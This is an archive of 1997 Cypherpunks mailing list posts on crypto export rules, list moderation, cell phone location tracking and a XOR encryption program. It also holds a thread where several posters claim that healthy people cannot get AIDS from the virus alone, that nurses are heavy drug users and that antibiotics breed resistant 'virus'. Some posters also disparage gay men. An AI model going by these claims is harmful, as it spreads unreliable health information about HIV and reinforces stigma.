> > or damaged before AIDS can take hold, rather than the notion that a
> > healthy person can get it from the virii alone.

Dale's hypothesis seems at odds with the linkage of aids and blood 
transfusion and transmission through needles.

Nurses who contract aids through contaminated needles do not,
normally, have devastated immune systems.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 25 Jan 1997 17:10:44 -0800 (PST)
To: aga <cypherpunks@toad.com>
Subject: who the "fuck" am I?
Message-ID: <199701260110.RAA06005@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.95.970125111610.12982A-100000@dhp.com>, on 01/25/97 
   at 12:32 PM, aga <aga@dhp.com> said:

+Which Attila the Hun is this?
+Is this the rec.nude guy?
+-aga

    response --------------

        I will not say "what is 'rec.nude'" but I have never been there;
    isn't that the one for nudists camps or some such? never been much 
    into worrying about what I wore, or making the statement I did not! 

        I always thought a little mystery was good for both sides:

            she knows not if I have a small dick, 
                I know not if she has no tits;

            la, la, la.. ..

        as to multiple "Attila the Hun" accounts, I probably have as 
    good as any original stake on the name as far as the net goes: 
    --Bell Labs hung it on me in the mid 70s when I was doing some 
    contract work on the unix kernal for Western Electric for the spook 
    show. The name stuck, and why bother to change?

        Other than the fact the nudist might be a real loser, I could 
    care less about a nym;  there are multiple users on other nyms (for 
    all we know, Tim May is a nym and the name is common); you can 
    usually guess by context who is who.  how many of us have actually 
    seen each other face to face (who would want to <g>)?  so, in most 
    cases, real names are no different than nyms in a make believe 
    world.

        now, all that being said...  

        it has been asked... "who the fuck are you?"
        to which I reply: "...good choice of expletives."

        "nobody, I guess;
        "well, let's see...
        "I have a Piled higher and Deeper in Information Techniques from 
    Zuerich (undergrad at Harvard in dual honors physical chemistry);
        "I have been around since before the dawn of arpanet, probably 
    even longer than TCMay; in fact, I was born before Franklin D. 
    Roosevelt dusted off Wendell L. Willkie; 
        "...but I've never held a 'job;' 
        "I have personally coded more than a few 250,000+ line packages, 
    which made me quite comfortable at one time, even if more than one 
    did go down the black hole (along with countless other projects like 
    the bit-slice hardware and firmware to replace B3500s in missle 
    silos);         
        "I have been the hatchet man in numerous high tech recoveries;
        "I have been detained for crypto offenses by the Feds; 
        "I have been detained for 'treasonable' technology export;
        "I have been charged;
        "...a long time ago, in a land far, far away, there was more 
    than one tour in the Corps' "deep-deep black" special operations; 
    the battalion commanding officer for the 'Let's kill 'em all' vacant 
    eyes, the misfits; 
        "a combat chopper pilot; 
        "an instrument rated multi-engine pilots license;
        "a rider of a 102 in. 115+ mph qtr. miler hawg on the street;
        "plus a few other reasons to guarantee an autobiography found on 
    the fiction shelf."

        while playing Hotel California:

            So, who the 'fuck' am I?
            Just another aging 300 lb gorilla, 
            long haired hippie, California freak, 
            with yet another loud outlaw chopper.

        "Oh, yeah, I forgot, I hold a license to practice before the 
    court in a couple European countries (not that I would waste my 
    time...)." 

        "So, who am I, really?  

        "Nobody, I guess, just attila!" 

  ==
  "you probably will not be last,
    you may not be next,
      but you are certainly too late to have been first.  
            --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMuqidr04kQrCC2kFAQGiqgQAqu6qHbbX61IkM0YBXnFAZ2divzWvWPWB
vt/+BHXq55PHmAPq1m2v5Yf0Jnam03abm4hFkvQLFtCg05i8bRaU5L8QiWyJJ3z0
wtMrDKF9VqRtSDhSwUoVwS2affnUUViE4GPBjezNCnuTtwHQ0fr7vgqq8IUr8q4I
dDLp/VCMniE=
=9nng
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 25 Jan 1997 22:56:16 -0800 (PST)
To: dthorn@gte.net
Subject: Re: overview.htm (fwd)
Message-ID: <199701260656.WAA10210@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > > One could argue that in the cases where the cures (antibiotics) add to
> > > a person's problems by further corrupting their immune system, that
> > > they should simply change their habits.  Since I don't see that as a
> > > reasonable possibility, the only thing left is that the public should
> > > be made aware of *all* of the relevant facts, even those which are
> > > heavily suppressed now for PC reasons.
> 
> > Why do they take antibiotics?  Just curious.
> 
> I'm not precisely sure, but remember, I'm not saying that your typical
> suburban, well-to-do, successful gay male falls into this category.
> 
> There are, OTOH, a lot of people in the city who have lifestyles which
> are not represented accurately in the prime-time sitcoms, and the ones
> who fall into the greatest health-risk category are IV drug users and
> gay males (in the city, remember - i.e., Santa Monica boulevard).
> 
> Remember too those ads for male sexual lubricants - you cannot use
> a condom with those lubricants.  Safe sex, I don't think so.

That does not come close to a theory that would explain HIV away.

> > Also, I haven't heard that antibiotics were bad for immune system,
> > has that been proven?
> 
> You're kidding, yes?  Anything besides good food, exercise, sleep etc.
> is bad for the immune system.  Antibiotics (usually "dead" germs of
> some sort) are horrendous things to inject directly into your system.

This may very well be true. I try to never use antibiotics,
because I had allergy when I was a child and I also do not
like taking any medications.

There needs to be something more convincing than these generic
statements, if you want to create some plausible theory.

> In October 1959, after lapsing into a coma from a massive sinus
> infection, I was given "a million units of penicillin" in the
> children's hospital when first admitted.  I recovered OK after
> two weeks, so I'm certainly not opposed to antibiotics for those
> who really need them.  OTOH, our U.S. economy today is antibiotic-
> and-hormone crazy, injecting cows, pigs, and chickens to name a few
> animals, all in the hopes of raising production.  So why is the rate
> of cancer going up so high?  It seems nearly everyone I know is
> getting this degenerate disease when they get older.  Check out the
> videos by Howard Lyman, who used to be a big-time "chemical" farmer.
> One quote:  "My soil after a few years was like asbestos".

As far as I understand, 1) no one really understands why cancer rates
are up so much and 2) since people live longer, they are more likely do
have cancer.

What you said is one of the hypotheses. I personally feel that
environment and bad greasy food are other major contributors.
The way they cook all these fries, with overheated grease, is very
bad.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Taylor <gtaylor@gil.com.au>
Date: Sat, 25 Jan 1997 08:25:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anyone have info on foreign "ITARS"
Message-ID: <199701251625.IAA28444@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
>Does anyone have any pointers to info about the import/export
>restrictions on encryption products in various countries. I know any
>such summary would be very dynamic, but perhaps there's something
>out there.

The Australian regulations are available at:

CUSTOMS (PROHIBITED EXPORTS) REGULATIONS - SCHEDULE 13 
   http://www.austlii.edu.au/au/legis/cth/consol_reg/cer439/sch13.html

and:

AUSTRALIAN CONTROLS ON THE EXPORT OF DEFENCE AND STRATEGIC GOODS:
   http://www.adfa.oz.au/DOD/al/iic/excontrl/excohome.htm
Crypto software comes under Part 3, Category 5/2 of these regulations.
(These documents are in MS Word format)
 
ADFA, for those who are not aware, is the Australian Defence Force
Academy, the major tertiary training institute for the defence forces.

I have an extract of the key clauses of these regulations if anyone is
interested.

Briefly, the Australian regulations ban cryptography exports, claiming
responsibilities as a party to the Wassenaar Arrangement, although the
actual details of the latter regarding crypto seem obscure.  However, an
export license can be obtained on application to the Defence Ministry.
The conditions of such a license are not openly stated, and at least
one Australian software company has been refused a license.

It would seem that even "public domain" software such as PGP is covered
here.  Ironically, the international version of PGP is available from the 
ADFA site at:
     ftp://ftp.adfa.oz.au/pub/security/pgp263i/
 
The government attitude to crypto policy generally in Australia is much
more relaxed than in the USA.  There is a recognition of business and personal
need for strong crypto and that a balance needs to be sought between those
needs and that of the law enforcement community.  Although key escrow has
been raised as an issue in some circles, it has not formed part of any 
government policy as yet.

Greg Taylor
EFA Crypto Committee






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 08:40:37 -0800 (PST)
To: Lou Zer <satan_is_a_hacker@juno.com>
Subject: Re: [No Subject:]
Message-ID: <199701261640.IAA18377@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:13 AM 1/25/97 EST, Lou Zer wrote:
>You missed the hole point. You read that BECAUSE their was no header, if
>it was ANARCHY you would have just deleted it.

Not necessarily; I _am_ an anarchist, after all.
The rest of the header is enough of a potential deterrent, anyway.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 23:57:23 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
Message-ID: <199701260757.XAA11026@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > My point about the antibiotics is that the male gays take a dis-
> > proportionate amount of them, which compounds their problems. 

> Why do they take antibiotics? Just curious.

  Both male homosexuals and IV drug-users have always suffered from
an inordinate amount of infections, etc., because they are engaging
in physical behavior that Mother Nature had not anticipated, since
the behavior fulfills more of a psychological need than a physical
one.
  Perhaps Mother Nature is homophobic and anti-drug, but, at any 
rate, she did not design the butt-hole to allow virus-free insertion
of outside objects, nor blood-veins to be pierced regularly in
order to insert condensed chemical combinations.
  As a result, those who engage in these behaviors have always had
to deal with the physical effects which result from Nature's 'error'.
IV drug users have always had high incidences of jaundice, etc., 
while male homosexuals have had to contend with various forms of
venereal disease, etc.  In both cases, they end up in a continuing
cycle of antibiotic use.

> Also, I haven't heard that antibiotics were bad for immune system,
> has that been proven?

  There has been great concern raised among those in the medical 
profession regarding the end-effects of their wholesale prescribing
of anitbiotics for colds, aches and pains, etc., leading to the 
development of new strains of virus which are immune to the older
antibiotics. This leads to development of stronger (misused)
antibiotics, which then leads to stronger strains of virus.
  There have been a number of studies which point to the fact that
the human immune system is now caught in a battle between increasingly
potent virus and antibiotics and is losing its capacity to fight
its 'natural' enemies.

  Humans tend to base their 'judgements' on psychological critera.
Thus someone who puts a quart of scotch in their system every day
can turn around and call someone who is putting outside objects 
into their butt-hole a 'pervert' who is doing 'unnatural' things
to their body.
  Personally, I prefer to kill two birds with one stone, so I put
a quart of scotch up my butt-hole every day.

Toto
 
>         - Igor.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 08:55:55 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <199701261655.IAA18578@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto and Jim Choate were having a little disagreement about the rights of 
nations to maintain the boundaries of ignorance around their "citizenry", 
and Jim said that no one outside a nation's boundaries should feel moved to 
interfere with the program:

> 'We' shouldn't, it is their own country and it is up to their populace to
> stop it. Do you really want Singapore or China having a say in how we run
> our web? I certainly don't, and won't support any move to force any
> particular view on them.
............................................................


Normally, I would agree that people who choose to live within a certain 
locale and choose the kind of government that they will live with and the 
kind of policies that they will accept as impositions upon their lives, 
should be allowed to "enjoy the fruits of their labors".

But on further examination of the situation in 'foreign' countries, these 
things must be realized:

.  Individuals do not agree with each other 100%

.  Individuals living within the boundaries of a nation will not agree with 
each other 100% about the kind of government they should have

.  Many of the individuals living within the boundaries of *any* nation do 
not have 100% control over which policies, or the quality of them, they 
will have to live under

.  It is not uncommon for "leaders" of nations to take advantage of their 
position to benefit more from the contributions of their citizenry than 
vice versa (the citizenry benefitting from their leadership)

.  It is not uncommon for there to be proportionately more people in favor 
of living in a state of dependence than not;  and it is not uncommon for 
those who favor dependence to favor proposals which seem to put them on the 
receiving end of "benefits" (versus being contributors); and it is not 
uncommon for these "benefits" to be derived at the expense of such virtues 
as freedom and liberty

.  Many individuals reside within a nation not because they favor its po  
litics, but because they feel more comfortable among their own kind than 
with strangers elsewhere - for example, Chinese who have lived in China all 
their lives (and whose ancestral roots are there) will wish to stay there 
and do what they can within the boundaries of that nation, rather than for 
instance moving to Canada, when the going gets rough.

Given these things, nevertheless it is true that the internet , among other 
events in our "modern" world, is opening up avenues towards advantages and 
benefits hitherto difficult to comeby.   As many of you are aware, many 
people are beginning to identify with a global network of friends and 
co-workers according to their particular (or peculiar) interests, rather 
than with the "Old Order".   It is becoming moot what nationality or what 
government or what company one works for - the loyalties of the past are 
being tested and re-configured in the minds of those who now do business 
and communicate and share things and develop friendships, acquaintances, 
and empathies, on the net.

So to speak of "having a say" on how Singapore or China or any other 
nation-state runs "our web" or vice versa "us" having a say on how they run 
"their web" is becoming irrelevant.   Economics will be determining how the 
web is run, and by whom.     The identity of those who use it will be not 
"those who are citizens of Singapore", but:  "my friend who lives in 
Singapore and is having a hard time accessing a file that I wanted him/her 
to have".   Affiliations will be seen differently by those who connect in 
cyberspace, and if certain of one's cyberspace friends are having problems 
- if, say, a Hitler were to suddenly rise up in their midst - then the 
netizens could send their emergency alert out to anyone and everyone on the 
net about a problem brewing which perhaps someone could help them deal 
with, according to their ability to do so.

It is true that individuals still live within the physical boundaries of 
"nations" which have formed in the past, and they still hold the concepts 
of these boundaries in their minds and they still identify closely with 
these, and they still vote problems upon themselves.   But it is becoming 
an anachronism, and it is becoming inaccurate to speak of "what 
Singaporians want for the internet".    This phrase would describe many of 
those who live in Singapore, but not all of them.   It is more accurate to 
speak of what  "individuals who use the internet" want, of what 
 "individuals who want to communicate" want, of what  "individuals who want 
to connect with others" want.

The identifications of self as a citizen who must be identified with the 
vote of a majority, and consequently suffer the perception of oneself as 
someone who "voted to accept restrictions of the net, therefore should not 
be helped against it", is becoming irrelevant.   When a distress call goes 
out from someone anywhere on the planet, the assistance and relief may come 
from anyone anywhere who chooses to rally others and provide assistance.

It is not the traditional "we" against "them", and it is not the "citizens 
of the US" helping those who "voted themselves a Hitler into power" or 
"voted themselves into restrictions against free speech".   It is "those of 
us who appreciate the liberty in communications technology" against "those 
who would take it away".

    ..
Blanc









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 00:10:33 -0800 (PST)
To: dthorn@gte.net
Subject: Re: overview.htm (fwd)
Message-ID: <199701260810.AAA11433@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> 
> > Dale's hypothesis seems at odds with the linkage of aids and blood
> > transfusion and transmission through needles.
> > Nurses who contract aids through contaminated needles do not,
> > normally, have devastated immune systems.

> It seems to me that "proof" of someone acquiring AIDS from one stab
> with a contaminated needle is a very nebulous thing. As far as nurses
> go, the contact I've had with many of them tells me they are also
> (on average) drug users extraordinaire. 

  Nurses have free access to all types of antibiotics and high-inducing
drugs, and a good many of them are regular users of both.
  Hospitals are notoriously bad places for healthy people to go, as many
go in with little diseases and come out with big diseases (for which
they are often re-hospitalized).
  Also, outward appearances rarely have a whole lot to do with
indications
of a superior auto-immune system. Plants have been bred to 'look pretty'
for the consumer, so we now have unblemished food stuffs which require
huge applications of poisonous chemicals in order to survive, because
they have lost their natural ability to defend themselves against even
ordinary plant pests and diseases.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 07:40:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ultimate Flames List
Message-ID: <199701261540.HAA17920@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
 
 > My point about the antibiotics is that the male gays take a dis-
 > proportionate amount of them, which compounds their problems.  It
 > suggests to me that the immune system is already seriously
debilitated
 > or damaged before AIDS can take hold, rather than the notion that a
 > healthy person can get it from the virii alone.
 
   It has been suggested that disease is merely an attempt by Nature to
 'moderate' the species.
   One could make a strong case for Nature merely 'sorting' individuals
 into physical lists, one of which is her own 'flames' list. It remains
 to be seen whether Nature also plans on dropping the 'flames' list
 after her moderation experiment is over.
 
 Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 08:55:44 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Cellular location...
Message-ID: <199701261655.IAA18550@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:54 PM 1/25/97 -0500, Mark M. wrote:
>> Companies working on the technology to track cellular phone calls
>> [...]
>I wonder how expensive it would be to put a GPS receiver in a cell phone and
>have the option to transmit the coordinates on a separate channel.  

Pretty expensive - GPS receivers currently cost ~$200, which is more
than the average cell phone, and needs a whole separate set of 
radio-receiver hardware, so you'd about double the size of your phone.
On the other hand, the cell sites already know which you're close to,
and can easily enough track when you've made transitions between cells.
So they can get a good start on location by processing information that the
phone companies need to have anyway.  Would they save any of this
for later?  Of course not :-)

>"location escrow" to make it easier for the feds to track drug dealers.
And everybody else....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bernard <bernard@xs4all.nl>
Date: Sun, 26 Jan 1997 18:28:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DPT Win 3.xx, 95, NT ENCRYPTION program
Message-ID: <199701270228.SAA03695@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Igor Chudov @ home wrote:

> > Newsgroups: comp.security.misc
> > * DPT   Win 3.xx,  95,  NT   ENCRYPTION program

> > * at;      http://www.xs4all.nl/~bernard

> > Bernard, thanks for an interesting post. I am Cc-ing your message to
> > Cypherpunks mailing list which is ostensibly dedicated to discussions
> > of cryptography.
> >
> > As follows from info on your home page, you do use simple XOR to
> > encrypt your data. It was not clear to me though, how do you generate
> > the keys to encrypt the data. I am sure that many readers of cypherpunks
> > mailing list will be interested, so please send a copy of your reply
> > to cypherpunks@toad.com.

You can enter a short key or import one with command [Get Key]. This is, you point
any file, and the key will become the 30000 first characters of this file.

You can get this file any where on your machine, the network, the internet, foppy,,,,,
If you add (paste or type) or delete characters at the begining of the imported key,
the reste will shift right, and this imported key become a new key.

You can't remember a key of 30000 chr (so you have to store it) but you can remenber the 
the change you made (10 to 100 or more chr) and of course, don't store it.

Thank you for your interest.
 
 DPT dos  /  DPT16 /  DPT32     http://www.xs4all.nl/~bernard







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 08:55:37 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: overview.htm (fwd)
Message-ID: <199701261655.IAA18541@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Igor Chudov @ home wrote:
>>>Jim Choate wrote:
>>>>>Dr.Dimitri Vulis KOTM wrote:
>>>>>>>irrelevant@nowhere.com wrote:
>>>>>>>>>>Dale Thorn wrote:

It can be said 100,000 times, but it still comes out the same:
Just as in "The only cure for bad speech is more speech", "the only
cure for 'list-focus-drift' is more on-focus postings".








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 08:55:40 -0800 (PST)
Subject: RE: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701261655.IAA18542@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  Obese-rvation? I hope you are not assuming that I am obese, just
because I am responding to a post originating from
'fatmans.demon.co.uk.'
  I would hate to become relegated to the upcoming cypherpunks-fatpeople
list because of assumptions of this nature.
.................................................

Well, Toto, if you don't like this obeservation, you can always unsudribe 
from "unmoderated" and subcrive to "expurgated".   There's also a rumor 
about a new "exfoliated" list for Snakes of Medusa starting up....

(I swear, I Toto is a tentacle of TCM)

    ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 08:55:36 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: US Info Supremacy
Message-ID: <199701261655.IAA18539@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	John Young

Hello, Tim May and our other solons and Solomons.
........................................

He must be on vacation; he hasn't posted in quite a while.

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 08:57:19 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701261657.IAA18586@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  Obese-rvation? I hope you are not assuming that I am obese, just
because I am responding to a post originating from
'fatmans.demon.co.uk.'
  I would hate to become relegated to the upcoming cypherpunks-fatpeople
list because of assumptions of this nature.
.................................................

Well, Toto, if you don't like this obeservation, you can always unsudribe from "unmoderated" and subcrive to "expurgated".  

(There's also a rumor about a new "exfoliated" list for Snakes of Medusa starting up....)

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 07:40:40 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701261540.HAA17921@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
>         I question how Sandy can accept the job as moderator, passing
>     judgement on 100-300 messages per day.  just trimming spam is
>     questionable: what is spam?  flames: what draws the line at flames:

 It is whatever the moderator decides it is, depending upon h/is/er 
intelligence, understanding, mood, command of language, sobriety,
etc., etc., etc.

>         and, I think cypherpunks is setting an atrocious example of our
>     own narrow mindedness (creditable or not) when we sanction any
>     filtering of what we see --is this not **exactly** what we accuse
>     the controlled media of determining what is "fit to print?"

 I am certain that there are members of the controlled media who are
ROTL at the CypherPunks following in their footsteps, after having
belittled the media for years for their sheep-mentality.
 
>         unfortunately, we are demonstrating to our critics that 
>         a)  net anarchy does not work
>         b)  cyberlibertarianism breeds anarchy
>         c)  we're loose cannons on the deck
>         d)  we are not civilized enough to warrant respect

 We are also demonstrating that all of the CypherPunk rhetoric about
cryptography and freedom and... was just a lot of 'smoke' being 
blown by a bunch of pretenders who folded like a busted flush when
they were 'told' that the man who owns the Machine will now subject
them to the whims of whatever moderation he sees fit to impose on
the list.
  Cryptography is about privacy. Apparently, however, the New List
Order is of the opinion the Privacy Without Freedom is an obtainable
goal.

>         --catch22: just how do set the laws on limits, and how do you
>     enforce the limits if you have voted to dissolve all 'government'
>     and 'police?'

  It doesn't matter if the 'owner' of the list/Machine decides that s/he
is now the government, with the power and/or right to make all decisions
concerning the list.

>         good luck, Sandy;  make sure you pull a sanity check everyday
>     when you start and finish the onerous task!

  I think that anyone who thinks that moderation is, or could ever be,
anything other than a dance into the arms of the establishment, is
already crazy.
  For the record, I don't think that either John or Sandy is crazy.
I think that they have their own pre-established goals which others
on the cypherpunks list are not privy to.
  Of course, this is my personal opinion, and I could be wrong.
  On the other hand, I could be 'right' like I am about everything
else.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 26 Jan 1997 08:55:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Toto's database
Message-ID: <199701261655.IAA18570@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto writes:

>My database seems to indicate a direct co-relation between the
>number of postings criticizing moderation and the number of
>UCE/Spam postings showing up on the list.

An interesting assertion. Is your database available for others to draw
their own conclusions from? I'd appreciate seeing at least a first-level
abstraction of the data, e.g., the number of messages posted in opposition
to moderation and the number of "spam" messages posted, listed by date. The
possibility that other factors caused the correlation you mention suggests
that other categorizations (e.g., total # of messages, # of messages which
are not spam nor related to moderation, and # of pro-moderation messages)
would also be useful, although I notice you do not mention those statistics.

Of course, correlation alone doesn't tell us much. If it really exists, it
suggests that the two phenomena observed are related in some way, but it
doesn't tell us the nature or the cause of the relationship. (All serial
killers drink water; but are all water-drinkers serial killers? Does
drinking water cause a person to become a serial killer?)

One explanation would be the link you suggested, that a moderation
proponent is sending (or causing to be sent) the spams as a way to make
moderation seem more attractive, or to detract attention from the
anti-moderation arguments. (If that really worked - e.g., if spam had the
effect of reducing the effectiveness of certain arguments, or of being
harmfully "diversionary" - wouldn't that suggest that moderation was, in
fact, necessary or at least useful? Hmm.)

Another explanation would be that a moderation opponent is sending the
spams as a way to punish the proponents of moderation.

It's further conceivable that you don't have a big enough data set to draw
meaningful conclusions from. The moderation decision, implementation, and
associated arguing have taken place within three weeks (John Gilmore's
original announcement was sent Sunday 1/5/97); it's hard to see how you're
going to be able to distinguish signal from noise in such a small data set.
I think this is especially true given the relatively inexact nature of the
"spam" weapon; as far as I can tell, apart from Dmitri's ASCII
art/cocksucker messages, the spams we've received have been from real live
spammers (not pissed-off listmembers) who harvested the
"cypherpunks@toad.com" address from messages sent to Usenet as spam bait.
Inherent in the "spam bait" attack is a lack of precise control over when
messages will be sent, or how many will be sent; so I'm curious about the
reliability of a correlation you've found between the actions of
distributed third parties (who are pursuing their own, cypherpunk-ignorant,
goals) and messages sent to the list.

Yet another explanation might identify external factors (like the recent
storms in the American midwest) which caused people to send more messages
independent of their ideology or content. My ISP, io.com, recorded much
heavier mail flow recently (to the point that it created problems for
delivery) during the storm; speculation is that people were stuck at home
for several days and turned to the Net to amuse themselves. Such an event
might cause otherwise independent-minded groups (spammers and moderation
opponents) to act in similar ways, like sending more messages than usual.
Of course, one would expect to see a rise in all message traffic, were this
the case.

Perhaps you'll be good enough to make your database available so that we
may each draw our own conclusions. I'm looking forward to hearing more
about how you derived this correlation. (If you have trouble finding a
server from which to make the data available, just say so; if nobody else
has a handy server, I'll add it to my web page.)

>Has anyone actually 'seen' John Gilmore, lately?

He was at C2Net's party last Friday night (1/24), being interviewed by some
folks from a Japanese TV program.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 09:10:44 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701261710.JAA18743@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:11 AM 1/22/97 -0600, Jim Choate wrote:
>> Singapore and China are blocking certain net groups. I think
>> this is a bad thing, question is how can we stop it?
>
>'We' shouldn't, it is their own country and it is up to their populace to
>stop it. Do you really want Singapore or China having a say in how we run
>our web? I certainly don't, and won't support any move to force any

Nonsense - the net doesn't "belong" to "Singapore or China" -
it's made up of the activies and property of many different people.
If some of those people don't like what other people are saying,
or reading, they've got no right to limit it, just because they've
got enough guns to call themselves "the government".
If they don't like something, they don't have to read it,
or they can send out their own counter-propaganda.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 26 Jan 1997 00:10:37 -0800 (PST)
To: Toto <cypherpunks@toad.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701260810.AAA11442@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199701260712.XAA10405@toad.com>, on 01/25/97 
   at 11:03 PM, Toto <toto@sk.sympatico.ca> said:

+  I fail to see how any supposedly intelligent members of the 
+CypherPunks list can possibly be content to fall for the line,
+  "Bend over, baby. I'm only going to moderate you 'a little bit'."

    attila sez:

        no matter if one perceives the "need" for a moderator or not, I  
    find it hard to accept --even to eliminate the grossly obscene 
    attacks by a few members against other members. I wonder if we need 
    a 'childish' excluder? 

        I question how Sandy can accept the job as moderator, passing 
    judgement on 100-300 messages per day.  just trimming spam is 
    questionable: what is spam?  flames: what draws the line at flames: 

            personal attacks? 
            profanity? 
            politically [in]correct speach?  
            historical revisionism? 

        and, I think cypherpunks is setting an atrocious example of our 
    own narrow mindedness (creditable or not) when we sanction any 
    filtering of what we see --is this not **exactly** what we accuse 
    the controlled media of determining what is "fit to print?"

        unfortunately, we are demonstrating to our critics that 

        a)  net anarchy does not work
        b)  cyberlibertarianism breeds anarchy
        c)  we're loose cannons on the deck
        d)  we are not civilized enough to warrant respect

    and this can go on and on and on...  But, the minute we, as a group, 
    start to tell other members of the group to 'clean up your act' we 
    are violating the principal "ethic" which we claim: freedom.

        sure, we can claim we are entitled to total libertarianism, or 
    anarchy; but there is a responsibility to create a workable, 
    cooperative social order, if for no other reason than protecting us 
    in the wilderness, or feeding us, or clothing us.  anyone here wish 
    to return to survivalist modes of a head of household 200 years ago?

        we can have pure communism, the LDS Brotherhood, the Shaker 
    house, or even true anarchy where you may do anything you wish as 
    long as it does not infringe on the rights or property of another.
 
        --catch22: just how do set the laws on limits, and how do you 
    enforce the limits if you have voted to dissolve all 'government' 
    and 'police?'  

            when basic human ambition to better oneself 
            is literally killed...

        good luck, Sandy;  make sure you pull a sanity check everyday 
    when you start and finish the onerous task!

  ==
  "you may not be next,
    you may not be last,
      but you are too late to have been first.  
            --attila


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl8.crl.com>
